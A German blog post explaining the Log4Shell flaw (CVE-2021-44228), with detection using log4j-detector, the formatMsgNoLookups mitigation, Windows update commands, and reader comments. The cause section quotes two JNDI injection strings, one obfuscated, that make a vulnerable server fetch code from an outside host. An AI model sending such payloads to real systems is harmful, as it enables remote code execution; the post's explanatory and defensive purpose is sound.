Zero-Day-Log4j Lücke Prüfen CVE-2021-44228

4.3
(6)

Java-Logging Proof-of-Concept

Der Zero-Day-Exploit mit einer kritische Sicherheitslücke im Java-Logging log4j sorgt für Schlagzeilen und Verunsicherung. Bekannt ist, dass die Lücke sehr weitverbreitet und vielfach ausgenutzt wird. Doch es ist noch längst nicht bekannt, was alles konkret betroffen ist und wie man seine Systeme am besten schützen kann. Der Beitrag zeigt das vorgehen und hilft das Problem einzudämmen.

Ursache

Der Exploit ermöglicht Remotecodeausführung und beruht darauf, dass Log4J Daten von LDAP über eine JNDI-Schnittstelle (Java Naming and Directory Interface) lädt.

In den Java-Archive kommt die Bibliothek Log4j häufig zum Einsatz. Wird über die JNDI-Schnittstelle ein Ereignis wie dieses protokolliert:

GET /?x=${jndi:ldap}://12.34.56.78

wird das nicht nur geloggt, es wird auch versucht den Text zu interpretieren, wie etwa mit:

${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://12.34.56.78:12344

wird versucht den Host „12.34.56.78“ zu kontaktiert, nimmt von diesem malicious Java-Code entgegen und führt diesen aus. Anschließend folgt dann schnell ein gefährliches Backdoor Programm auf das System. Deshalb der Angriff bezeichnenderweise „Log4Shell“ genannt wird, mit Logging direkten Zugriff auf das System erhalten.

Zero-Day-Log4j Proof-of-Concept-Code CVE-2021-44228

Log4shell erkennen mit log4j-detector

log4j-detector erkennt log4j-Versionen auf dem Dateisystem, einschließlich tief rekursiv verschachtelter Kopien. Ausführbar auf Linux, Windows und Mac und überall wo Java läuft!

Hat man Zugang zum System, auf diesem ein Dienst läuft, kann dort nach verwundbaren Instanzen der Log4J-Bibliothek gesucht werden. Diese sind typischerweise in den Java JAR-Archiven. Der log4j-detector durchsucht diese und meldet anfällige Versionen von Log4J 2.x (2.0-beta9 bis 2.14.1). Die Version 2.15.0 ist bereits gefixt und aktuell ist 2.17.1 verfügbar, die Version 1.2.x ist nicht betroffen.

Ist wie hier die Unifi Controller Software installiert, sollte dringendst die Log4J-Bibliothek überprüft werden. Nach dem entpacken von log4j-detector-master.zip findet man im Verzeichnis die Datei log4j-detector-2021.12.13.jar.

java -jar log4j-detector-2021.12.13.jar "%UserProfile%\Ubiquiti UniFi"

log4j-detector mit Pfad Übergabe ausführen der gescannt werden soll.

CVE-2021-44228 LOG4J VULNERABLE

Erscheint nach dem ausführen die Ausgabe _VULNERABLE_, hat man eine anfällige Version und es ist Handlungsbedarf angesagt.

Log4j absichern und vorbeugen

Ist man sich nicht sicher, ob die Infrastruktur abgesichert ist, sollte man zumindest die Angriffsfläche weit möglichst reduzieren. Dazu gehören unter anderem Maßnahmen wie:

  • Zugangsbeschränkungen
  • Segmentierte Netzwerke
  • Reduzierte Rechte
  • Beschränkung ausgehender Verbindungen
  • Beschränkung ausführbarer Programme

Wenn noch kein Update des Herstellers vorliegt, kann man anfällige Dienste durch Setzen der Variable log4j2.formatMsgNoLookups auf true sichern. Hierzu startet man die Java Virtual Machine mit dem Argument –Dlog4j2.formatMsgNoLookups=True oder setzt die Umgebungsvariable LOG4J_FORMAT_MSG_NO_LOOKUPS=true. Beides funktioniert jedoch erst ab Log4J Version 2.10. im Zweifelsfall also erneut testen.

Ausführen control sysdm.cpl

Bei Windows fügt man die Umgebungsvariable ein, über die Tasten Win+R mit Ausführen von „control sysdm.cpl,,3“

Die Umgebungsvariable LOG4J_FORMAT_MSG_NO_LOOKUPS=“true“ unter Systemvariablen hinzufügen.

Die Umgebungsvariable LOG4J_FORMAT_MSG_NO_LOOKUPS="true" unter Systemvariablen hinzufügen.

Ebenso besteht die Möglichkeit, den JVM Dienst mit Option zu starten.

java -Dlog4j2.formatMsgNoLookups=True -jar app.jar

Update Apache Log4j 2

Wenn es die Installation zulässt, kann man Log4j direkt updateten. Zum Download der neusten Apache Log4j 2 Version hier, nachdem entpacken die Dateien in der JRE Bibliothek ersetzen, die log4j-*.jar Dateien unter _jre_root_/lib/.

log4j-api-2.xx.x.jar
log4j-core-2.xx.x.jar
log4j-slf4j-impl-2.xx.x.jar

Apache Log4j 2 Update für Windows

Um die Log4j 2.17.1 Version für Java unter Windows 10 und Windows Server 2019 zu installieren (Update), wird eine Eingabeaufforderung (cmd) als Administrator geöffnet, um folgende Befehle auszuführen. Grundsätzlich können die Befehlszeilen auf anderen Windows Version ausgeführt werden, dabei muss beachtet werden, das anstelle von curl und tar ein Browser für den Download, und Winzip oder 7-Zip zum entpacken verwendet wird.

cd %userprofile%\downloads
curl -O https://archive.apache.org/dist/logging/log4j/2.17.1/apache-log4j-2.17.1-bin.zip
tar -xf apache-log4j-2.17.1-bin.zip
cd apache-log4j-2.17.1-bin
copy log4j-api-2.17.1.jar "%JAVA_HOME%\lib"
copy log4j-core-2.17.1.jar "%JAVA_HOME%\lib"
copy log4j-slf4j-impl-2.17.1.jar "%JAVA_HOME%\lib"
cd "%JAVA_HOME%\lib"
ren log4j-api-?.??.?.jar log4j-api-x.xx.x.old
ren log4j-core-?.??.?.jar log4j-core-x.xx.x.old
ren log4j-slf4j-impl-?.??.?.jar log4j-slf4j-impl-x.xx.x.old

  Die Umgebungsvariable %JAVA_HOME% muss vorhanden sein, bei Java 8 ist es für gewöhnlich C:\Program Files\Java\jre1.8.0_281, entsprechend der installierten Version.

Im Verzeichnis %JAVA_HOME%\lib müssen die bestehenden log4j-Dateien, zB. die Version 2.13.3-Dateien ersetzt werden, hierzu kann man symbolische Links erstellen, die 2.17.1-Dateien müssen auf die original 2.13.3-Dateien zeigen, diese zuvor umbenannt wurden.

cd "%JAVA_HOME%\lib"
mklink log4j-api-2.13.3.jar log4j-api-2.17.1.jar
mklink log4j-core-2.13.3.jar log4j-core-2.17.1.jar
mklink log4j-slf4j-impl-2.13.3.jar log4j-slf4j-impl-2.17.1.jar

  Alle Apache log4j Versionen findet man im ASF-Archiv-Repository.

Wie hilfreich war dieser Beitrag?

Klicke auf die Sterne um zu bewerten!

Durchschnittliche Bewertung 4.3 / 5. Anzahl Bewertungen: 6

Bisher keine Bewertungen! Sei der Erste, der diesen Beitrag bewertet.

Es tut uns leid, dass der Beitrag für dich nicht hilfreich war!

Lasse uns diesen Beitrag verbessern!

Wie können wir diesen Beitrag verbessern?

3 Gedanken zu „Zero-Day-Log4j Lücke Prüfen CVE-2021-44228“

  1. Hallo Matteo,

    vielen Dank für Deine Unterstützung, jetzt hat es funktioniert.
    Nach der Installation von git und dem Download des Repositorys konnte ich den Befehl ausführen. Ich habe verschiedene Pfade probiert und so, wie es aussieht, ist bei mir nur die jitsi videobridge betroffen, die aber als OKAY angegeben ist, da ich sie erst vor zwei Tagen auch aufgrund von log4j auf einem komplett neu aufgesetzten Ubuntu als Jitsi Server installiert habe.

    Viele Grüße

    Raul

  2. Ich habe leider keine Ahnung, wie man diese Software aus github in einem Linux System herunterlädt und installiert. Deshalb hilft mir dieser Artikel praktisch nicht.

Schreibe einen Kommentar zu Raul Katos Antworten abbrechen

Deine E-Mail-Adresse wird nicht veröffentlicht.